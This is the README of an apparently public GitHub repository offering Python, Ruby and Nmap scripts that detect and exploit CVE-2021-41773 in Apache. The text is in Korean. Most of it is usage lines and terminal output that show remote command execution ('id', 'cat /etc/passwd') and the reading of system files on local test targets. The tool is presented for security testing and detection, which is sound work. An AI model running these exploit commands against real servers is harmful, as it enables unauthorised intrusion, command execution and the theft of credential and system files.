mauricelambert/cve-2021-41773# CVE-2021-41773용 다국어 익스플로잇 및 탐지 스크립트 취약한 Apache 서버에서 원격 코드 실행과 로컬 파일 노출을 가능하게 하는 CVE-2021-41773용 다국어 익스플로잇 및 탐지 스크립트입니다.
이 스크립트는 CVE-2021-41773을 악용하여 파일을 출력하거나 명령어를 실행합니다.
이 스크립트는 다음 환경에서 사용할 수 있습니다:
git clone https://github.com/mauricelambert/CVE-2021-41773.git
cd CVE-2021-41773
# Python
pip install -r requirements.txt
# Python
python3 CVE202141773.py [(-f/--file FILE|-c/--commands COMMAND1 COMMAND2 ...) -s/--ssl -o/--output FILE target]
# Nmap
nmap -p 80 --script RCE_CVE2021_41773 [--script-args "file=<file>" "command=<command>"] <target>
# Ruby
ruby CVE-2021-41773.rb [(-f/--file FILE|-c/--commands "COMMAND1;COMMAND2;...") -o/--output FILE target]
~# python3 CVE202141773.py 127.0.0.1:80
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[-] 대상은 취약하지 않습니다.
~# python3 CVE202141773.py 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상은 취약합니다.
~# python3 CVE202141773.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상은 취약합니다.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -f "/etc/passwd" -o out.txt 127.0.0.1:8080
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상은 취약합니다.
~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202141773.py -u "error" -f "/do/not/exists" 172.17.0.2
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상은 취약합니다.
[-] 익스플로잇이 작동하지 않습니다 (HTTP 오류 403).
~# python3 CVE202141773.py -f "/do/not/exists" 172.17.0.2
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상은 취약합니다.
[-] 익스플로잇이 작동하지 않습니다 (HTTP 오류 404).
~#
~# ruby CVE-2021-41773.rb 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상: 127.0.0.1은 취약합니다
~# ruby CVE-2021-41773.rb -c "id; echo abc" 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] 대상은 취약합니다.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
abc
~# ruby CVE-2021-41773.rb -f "/etc/passwd" -o abc.txt
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
호스트 (대상): 127.0.0.1
[+] 대상은 취약합니다.
~# cat abc.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~#
~# nmap -p 80 --script RCE_CVE2021_41773 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:39 CET
NSE: 웹 서비스가 실행 중입니다. 페이로드를 전송합니다...
NSE: 모드: 탐지만 수행합니다. 익스플로잇 없음.
NSE: 대상은 취약합니다.
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| Apache 웹 서버에는 RCE 취약점이 포함되어 있습니다. 이
| 스크립트는 RCE 공격(명령어 실행) 및 로컬 파일 노출을 통해
| 이 취약점을 탐지하고 악용합니다.
| dates:
| disclosure:
| year: 2021
| day: 29
| month: 09
| disclosure: 2021-09-29
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
|_ https://github.com/mauricelambert/CVE-2021-41773
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "file=/etc/passwd" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:38 CET
NSE: 웹 서비스가 실행 중입니다. 페이로드를 전송합니다...
NSE: 모드: 로컬 파일 노출 익스플로잇
NSE: 대상은 취약합니다.
NSE: 익스플로잇이 작동 중입니다.
Nmap scan report for 172.17.0.2
Host is up (0.00017s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| Apache 웹 서버에는 RCE 취약점이 포함되어 있습니다. 이
| 스크립트는 RCE 공격(명령어 실행) 및 로컬 파일 노출을 통해
| 이 취약점을 탐지하고 악용합니다.
| dates:
| disclosure:
| month: 09
| year: 2021
| day: 29
| disclosure: 2021-09-29
| refs:
| https://github.com/mauricelambert/CVE-2021-41773
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
| exploit output:
|
| root:x:0:0:root:/root:/bin/bash
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|_
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
~# nmap -p 80 --script RCE_CVE2021_41773 --script-args "command=id" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:32 CET
NSE: 웹 서비스가 실행 중입니다. 페이로드를 전송합니다...
NSE: 모드: RCE 익스플로잇
NSE: 대상은 취약합니다.
NSE: 익스플로잇이 작동 중입니다.
Nmap scan report for 172.17.0.2
Host is up (0.00087s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_41773:
| CVE-2021-41773:
| title: Apache CVE-2021-41773 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-41773
| description:
| Apache 웹 서버에는 RCE 취약점이 포함되어 있습니다. 이
| 스크립트는 RCE 공격(명령어 실행) 및 로컬 파일 노출을 통해
| 이 취약점을 탐지하고 악용합니다.
| dates:
| disclosure:
| day: 29
| year: 2021
| month: 09
| disclosure: 2021-09-29
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-41773
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
| https://github.com/mauricelambert/CVE-2021-41773
| exploit output:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|_
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
~#
GPL, 버전 3에 따라 라이선스가 부여됩니다.